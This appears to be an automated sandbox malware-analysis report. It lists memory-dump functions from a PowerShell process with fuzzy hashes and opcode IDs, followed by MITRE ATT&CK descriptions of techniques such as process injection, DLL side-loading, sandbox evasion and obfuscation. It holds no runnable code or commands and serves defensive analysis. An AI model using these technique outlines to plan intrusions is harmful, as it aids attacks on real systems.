Source File: 00000024.00000002.2423383145.0000000004900000.00000040.00000800.00020000.00000000.sdmp, Offset: 04900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_4900000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3274835b7530a7219114f9d400b9abf6c1035c1b369da2f7781173ea0011062
Instruction ID: cc6eec26617a1491328be0bf09f1faf7e14bf0e9f67930dca3f79966e9ff5798
Opcode Fuzzy Hash: a3274835b7530a7219114f9d400b9abf6c1035c1b369da2f7781173ea0011062
Instruction Fuzzy Hash: 69A1A070A053859FCB16CF6CC8949AABFB0FF49310B15859AD4859B3A2C735BC45CBA1

Function 049090E8 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2423383145.0000000004900000.00000040.00000800.00020000.00000000.sdmp, Offset: 04900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_4900000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 352d02373c898c3e9c89cebeee7408eaa80a2fc2afe59621b7bacb6931d84624
Instruction ID: cef6b3408f288a2b6a01f9b003176152fafa88a59dfddfe60939d3503f41d18b
Opcode Fuzzy Hash: 352d02373c898c3e9c89cebeee7408eaa80a2fc2afe59621b7bacb6931d84624
Instruction Fuzzy Hash: 4451BE743042059FD7489B69D858E2B7BEAFFC9354F158479E909CB392EB35EC018BA0

Function 0490D490 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2423383145.0000000004900000.00000040.00000800.00020000.00000000.sdmp, Offset: 04900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_4900000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20bdacf2419fe0ac88a109ee808bce0ecf9ecfb071fa5f4530514900488a258c
Instruction ID: b00c657855981e31b1c4c4e291a3a5efa7db724ffaea1836ae9ad2176b8f36af
Opcode Fuzzy Hash: 20bdacf2419fe0ac88a109ee808bce0ecf9ecfb071fa5f4530514900488a258c
Instruction Fuzzy Hash: 5761F971E00248DFDB14DFA9D584A9DFBF6EF88314F24816AE809AB354EB74AC45CB50

Function 0490D482 Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2423383145.0000000004900000.00000040.00000800.00020000.00000000.sdmp, Offset: 04900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_4900000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4740c01092b1ddf5f35620c52f89cff25ee634dd758086b171ed8d99954af230
Instruction ID: efa5064ddf4002e2ebcdc10877ee272cd86c3815cb18a9ff81f2eb8d5c921371
Opcode Fuzzy Hash: 4740c01092b1ddf5f35620c52f89cff25ee634dd758086b171ed8d99954af230
Instruction Fuzzy Hash: 20512871E012489FCB14CFA9D584A9DFBF6EF88314F148169E809AB364EB74A845CB50

Function 0777412A Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2537552893.0000000007770000.00000040.00000800.00020000.00000000.sdmp, Offset: 07770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7770000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f751995d4cceedacfca4d76a6ac736552018a625d475f0e6fca1fa6f9c2afaf3
Instruction ID: cceb9a0aced4278b8ab2f19cf4bf0d3edcf8aa42c78dd9c8b263fc2b1dda9b3f
Opcode Fuzzy Hash: f751995d4cceedacfca4d76a6ac736552018a625d475f0e6fca1fa6f9c2afaf3
Instruction Fuzzy Hash: E9318DF1A04286DFDF24DF58C444B69B7B1BB46392F25C9A6E5188B6A0C330D9A4CF91

Function 0777358D Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2537552893.0000000007770000.00000040.00000800.00020000.00000000.sdmp, Offset: 07770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7770000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 828fe6acf8935e42d440c7d329950416b2f3d8a7b221207349f0a681642ec9e7
Instruction ID: 02ce9a7399e07626d111496f78dfe6c17e7da0c6c8253dc083c5c3618b9fe03f
Opcode Fuzzy Hash: 828fe6acf8935e42d440c7d329950416b2f3d8a7b221207349f0a681642ec9e7
Instruction Fuzzy Hash: 4031E0F1A00282DFDF208F58C981B66BBE0AF423A9F06C5A6D518CF251C730D880DF91

Function 0490D6B0 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2423383145.0000000004900000.00000040.00000800.00020000.00000000.sdmp, Offset: 04900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_4900000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b53f321bd829ef7359478cd8d7b184f46814ab700f335d9ab9e1e60e2a7e8243
Instruction ID: 01f02513711dffd7ec71c8e6764f4b85dd0ce4486c289339d1ee2db38198ff6a
Opcode Fuzzy Hash: b53f321bd829ef7359478cd8d7b184f46814ab700f335d9ab9e1e60e2a7e8243
Instruction Fuzzy Hash: D631F070A043508FC724CFB9D4486A6BFF0EF46310B1489AED49ACB6A2D770B801CB41

Function 0490C6F7 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2423383145.0000000004900000.00000040.00000800.00020000.00000000.sdmp, Offset: 04900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_4900000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7cc6f909e91bf4739c346471fbf6300a6f27429bfb678e69a23d1a4d5de86f2b
Instruction ID: a0a6672a94256c1308e604d490cff1ab1d5e8cf9c3e46b5e4fce8f4d778ee7f0
Opcode Fuzzy Hash: 7cc6f909e91bf4739c346471fbf6300a6f27429bfb678e69a23d1a4d5de86f2b
Instruction Fuzzy Hash: B6318174E002059FEB04EBB4D458ABEBBB2EF84304F1184B9D505AB395DA38AD46CB91

Function 0490A1C0 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2423383145.0000000004900000.00000040.00000800.00020000.00000000.sdmp, Offset: 04900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_4900000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 988e780b73759e6a185bdc18aee6bb6c1c6248bfcae2367a9d8be392ce8dd661
Instruction ID: 9ac0e2fca908d55ce2098db7dd68ac5d631b992ad6ca68e0315a29a8db9d860b
Opcode Fuzzy Hash: 988e780b73759e6a185bdc18aee6bb6c1c6248bfcae2367a9d8be392ce8dd661
Instruction Fuzzy Hash: 0531EA70E102099FDF08DFA8D4945EEBBB2EF88314F108569D505AB3A5DF35A9428BC1

Function 0490A2E0 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2423383145.0000000004900000.00000040.00000800.00020000.00000000.sdmp, Offset: 04900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_4900000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a3e6eb87d332010cffbf19477a6d0c759c4510fef511e78d2120ff459d0ad18
Instruction ID: eb98dd2f62827be1d6dcda4490e143902c74588110bcb2c3c0fb69029ed46ac4
Opcode Fuzzy Hash: 0a3e6eb87d332010cffbf19477a6d0c759c4510fef511e78d2120ff459d0ad18
Instruction Fuzzy Hash: 292135367083554FDB059B78A8582FF7FA2DBC1329F14417ED40A87382EE791C068796

Function 0490C708 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2423383145.0000000004900000.00000040.00000800.00020000.00000000.sdmp, Offset: 04900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_4900000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d544ae102bf3e87382a05883bb60dadf9c8fd39503975291faafb79eacb0372
Instruction ID: 271bc314ec120253c8d41034dd3aaf1ec999bf089725bc27e7bde8b4443327f1
Opcode Fuzzy Hash: 3d544ae102bf3e87382a05883bb60dadf9c8fd39503975291faafb79eacb0372
Instruction Fuzzy Hash: 94315174E002099FEB04EFA4D858ABEB7B3EF84304F118478D515AB395DA39AD45CF91

Function 047DF5E8 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2421684892.00000000047DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 047DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_47dd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b89f0f79581a225127497eeda5820579165b7a35a17ac040fc33083f38eca2d
Instruction ID: c521969f0a1aecc2d3474aefd08755e1fa732eab963334cfb1ea0c6482b59124
Opcode Fuzzy Hash: 4b89f0f79581a225127497eeda5820579165b7a35a17ac040fc33083f38eca2d
Instruction Fuzzy Hash: E021E071610200EFCB05DF14DAC0B26BFB5FB88314F24C5A9E90A4A766C336E856CB61

Function 0490373D Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2423383145.0000000004900000.00000040.00000800.00020000.00000000.sdmp, Offset: 04900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_4900000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd54a80f82af4b5521ed086a597189da89452646937d67f635213bcdfb588d9b
Instruction ID: cfe1574f419fb3ef0ba2b4b57278f3e2b0091380645f5d60ea379a10e93153a6
Opcode Fuzzy Hash: fd54a80f82af4b5521ed086a597189da89452646937d67f635213bcdfb588d9b
Instruction Fuzzy Hash: BC315C74A042499FCB15CF58C4909AAFBF1FF89310B2585AAD848EB362C331FC51CBA0

Function 0490A0F8 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2423383145.0000000004900000.00000040.00000800.00020000.00000000.sdmp, Offset: 04900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_4900000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6ea31be05a5d723627be76a4a53c379197f8205dcc11095a58929ffbf7d406a
Instruction ID: 2544f0ea3c63aba8de6546d55489cffd9eab813dfac24b85255eb63cd012648c
Opcode Fuzzy Hash: a6ea31be05a5d723627be76a4a53c379197f8205dcc11095a58929ffbf7d406a
Instruction Fuzzy Hash: FE21D4309092899FCB16DB78E4459FE7F71EF82320F1440FDD5469B2A2DA35194ACB92

Function 04909024 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2423383145.0000000004900000.00000040.00000800.00020000.00000000.sdmp, Offset: 04900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_4900000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4c74ab6aa2090a2af0b53944681f70e121ab38ecc1f96bfcca14dfe05d2b46e
Instruction ID: 6d57af1268c28ee4ce48a32f88499e42f7fd62c03d2f6d7c7cf4db43d9a3670c
Opcode Fuzzy Hash: f4c74ab6aa2090a2af0b53944681f70e121ab38ecc1f96bfcca14dfe05d2b46e
Instruction Fuzzy Hash: C5112B767001198FCB04DFA8D9449EE77F6EBCC215B0140A9EA09EB365DB36EC058BA0

Function 047DF5E3 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2421684892.00000000047DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 047DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_47dd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac59097383679d3c36945f3a55f47b1b34a77431d90e23eb4db771cfbaa4427a
Instruction ID: 705fc7c30982423499ee020343b48cf298c22de25908c13d72c334d7d58ca88d
Opcode Fuzzy Hash: ac59097383679d3c36945f3a55f47b1b34a77431d90e23eb4db771cfbaa4427a
Instruction Fuzzy Hash: 12218C76504240DFCB06CF10DAC4B16BF72FB48314F28C5AADD494A666C33AD46ACB91

Function 049090DA Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2423383145.0000000004900000.00000040.00000800.00020000.00000000.sdmp, Offset: 04900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_4900000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef29e8f13b675a91f9b586116726a9cfcd4ce572765cfdc74d0a6275d3d5ab16
Instruction ID: a0e960a0062889c0690888f7fc2473fb47be2bc152226796903b1cbec667087e
Opcode Fuzzy Hash: ef29e8f13b675a91f9b586116726a9cfcd4ce572765cfdc74d0a6275d3d5ab16
Instruction Fuzzy Hash: D3017D763043149FE7519B78EC04BAB3BEAEBC5366F0044B6D609DB2D2DA319C018790

Function 047DD005 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2421684892.00000000047DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 047DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_47dd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98b5c1c63d0c782047a944f8f64f9ac596656e280d8a7f1e9f2f57c1d4f84c1c
Instruction ID: 7e24acbd30d1e0fb17dfb78502b64a710ee7fce7d960f50de9341fe7806ba952
Opcode Fuzzy Hash: 98b5c1c63d0c782047a944f8f64f9ac596656e280d8a7f1e9f2f57c1d4f84c1c
Instruction Fuzzy Hash: B401806100D3C09FD7128B259D94752BFB4DF83224F0984DBE8888F293D2795C45C771

Function 047DD01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2421684892.00000000047DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 047DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_47dd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d86ffdb40f2a9e2c25d73ba1b003a7424f5204f43bd8fda9425a0c9263fca653
Instruction ID: 7360c4ee7010f51893dc4b0e4f50c4e020b755d07d457493c4ca5671cd6120d4
Opcode Fuzzy Hash: d86ffdb40f2a9e2c25d73ba1b003a7424f5204f43bd8fda9425a0c9263fca653
Instruction Fuzzy Hash: 3D01F7311083009AE7204F2ADD84B67BFA8DF85324F08C92AEC480A346D679A845C6B1

Function 049092FF Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2423383145.0000000004900000.00000040.00000800.00020000.00000000.sdmp, Offset: 04900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_4900000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5652b9aabaa836c3e53c7ca4ce70943212086f3c8d42e321e02283cd93edb35c
Instruction ID: b60ea6b1a49346b0ab2fecaac32d3e20b1444be38d055265ffc69e178f43a8b2
Opcode Fuzzy Hash: 5652b9aabaa836c3e53c7ca4ce70943212086f3c8d42e321e02283cd93edb35c
Instruction Fuzzy Hash: D5F0F6313063845FD71297699884AAEBFE5EBC9335F14056DD04DC7391CB606C05CB55

Function 047DD9A7 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2421684892.00000000047DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 047DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_47dd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2506beaf26436f2b14f9735ffd6f696b6f316ca59a0051e427b6786c42da0d5
Instruction ID: 38eefe53fa759917ba0d8a9ac6b5c0ea68a3824769a38372fd4d15fa785c9076
Opcode Fuzzy Hash: e2506beaf26436f2b14f9735ffd6f696b6f316ca59a0051e427b6786c42da0d5
Instruction Fuzzy Hash: 14F0F976200600AF97208F0AD985C23FBBDEBD4770719C55AE84A4B715C671FC41CEA0

Function 047DD998 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2421684892.00000000047DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 047DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_47dd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d901c59c7956845b2c0f40190cecb60d2a793a98dc8b7800618704c54e35123b
Instruction ID: 11789e6c2567e9a32e2032e12d864725fac6b1f74281a25840ba8a777ef9433f
Opcode Fuzzy Hash: d901c59c7956845b2c0f40190cecb60d2a793a98dc8b7800618704c54e35123b
Instruction Fuzzy Hash: A4F01D76104A80AFD725CF06CD85D23BBB9EBC9720B198499F84A5B316C631FC42CF60

Function 04909310 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2423383145.0000000004900000.00000040.00000800.00020000.00000000.sdmp, Offset: 04900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_4900000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e90d2c96e7a7b1ecf7ccf32ad0b0d34f99ac6ac4ae4e608b3565f118cc2b049
Instruction ID: 458b8ddeef69687806ad8669050fa6e0215d0b6ef3cd3adf09c7e72080bf2ebe
Opcode Fuzzy Hash: 2e90d2c96e7a7b1ecf7ccf32ad0b0d34f99ac6ac4ae4e608b3565f118cc2b049
Instruction Fuzzy Hash: E4F0A7313006189FDB149B59D844ABFB7EAEBC9635B00053DE11DC7350DB70BC418754

Function 0490A329 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2423383145.0000000004900000.00000040.00000800.00020000.00000000.sdmp, Offset: 04900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_4900000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ef0def8dc676a96d82cdda5712e1ad34a319cdc90dad63751fbf6798b350641
Instruction ID: ab71a4339e10a0ae15c49f471964496a74f7f9acb0dd1827ec97272e1bb38a27
Opcode Fuzzy Hash: 7ef0def8dc676a96d82cdda5712e1ad34a319cdc90dad63751fbf6798b350641
Instruction Fuzzy Hash: CEF0A0353083945BCB062778A41C2BE7F65EBC2365B0440AED446C7282DE690C0687AA

Function 0490903F Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2423383145.0000000004900000.00000040.00000800.00020000.00000000.sdmp, Offset: 04900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_4900000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 313dcf48e243ee4914f242f5ac3f78983a308b0e4cd76330f93cecf7f60f2d80
Instruction ID: b92f5017ee6a49de57d61b0ba146363e7113de331bcaf0718bb913ec6835c317
Opcode Fuzzy Hash: 313dcf48e243ee4914f242f5ac3f78983a308b0e4cd76330f93cecf7f60f2d80
Instruction Fuzzy Hash: 2CF0A7753006198FDB00CB5C994055A77F6EBC8755B018165D609DB366DA35DC024B90

Function 0490A338 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2423383145.0000000004900000.00000040.00000800.00020000.00000000.sdmp, Offset: 04900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_4900000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 615931ae8d16b5f6ec2ba0477e6945a2060f0fd3cf3e6e315b265494c32068b5
Instruction ID: 823e8bfeec8bc0fd7b61b3fbc796e700ad7e01ce8f4b9ef6f6b19903a133c78a
Opcode Fuzzy Hash: 615931ae8d16b5f6ec2ba0477e6945a2060f0fd3cf3e6e315b265494c32068b5
Instruction Fuzzy Hash: 8CE0863530461857DF092B79A41C2AE7AA6EBC5775F00007DE40A83386DF79590187EE

Function 0490A1D0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2423383145.0000000004900000.00000040.00000800.00020000.00000000.sdmp, Offset: 04900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_4900000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0296fda2475d64053e2da7ab8bf80ac18a490e5cdb2b790b7f98fcd03fca01ef
Instruction ID: 959f03e9cf8a752372bf8f1104ff3574f228d6886577db380a702dfc56a8772d
Opcode Fuzzy Hash: 0296fda2475d64053e2da7ab8bf80ac18a490e5cdb2b790b7f98fcd03fca01ef
Instruction Fuzzy Hash: 20D01734A0820CCF8B04EFA8E8464AEBBB5EB44200F1081A9DE0993385EA312941CBC0

Function 0490A108 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2423383145.0000000004900000.00000040.00000800.00020000.00000000.sdmp, Offset: 04900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_4900000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2231eaf3e4c9be203330924d02bd93afc5e15654e03ff22301ac56db8239dca
Instruction ID: 0d04a88fc2879e742e9519cac506fe33a251a56f360417fabd95b12e62d8d27f
Opcode Fuzzy Hash: d2231eaf3e4c9be203330924d02bd93afc5e15654e03ff22301ac56db8239dca
Instruction Fuzzy Hash: 73D0673194410D8BCF08EFA4E85A8BDBB34EB51211F5045EDE90752595EF202A5ACAC1

Function 049092D8 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2423383145.0000000004900000.00000040.00000800.00020000.00000000.sdmp, Offset: 04900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_4900000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17c6c56222f0d07ba3086aae4f2cd4a3aa1dbbff245b2bcb581b68564c402eee
Instruction ID: 22dcb7d50be9881f71596557707ffcbca49168e3869d45445f8fc89d2a959c53
Opcode Fuzzy Hash: 17c6c56222f0d07ba3086aae4f2cd4a3aa1dbbff245b2bcb581b68564c402eee
Instruction Fuzzy Hash: 85D05E3010C3C14FC3137B34E8146043F206F43315F0A08DEC1898F1A3CA6A8814DB13

Function 049092E8 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2423383145.0000000004900000.00000040.00000800.00020000.00000000.sdmp, Offset: 04900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_4900000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f772444a77da19d507150e9038e17ca6af40d5cf944edff81f91ff6f05139537
Instruction ID: 5613ccd13ef727d7b6185a238d98bf4c1dbcb1902e48a6f6919e61489c0a6710
Opcode Fuzzy Hash: f772444a77da19d507150e9038e17ca6af40d5cf944edff81f91ff6f05139537
Instruction Fuzzy Hash: C5B092310843098FC2597F75E808814736DBA412097800CA9E61F0A6A28E36E881CE59

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

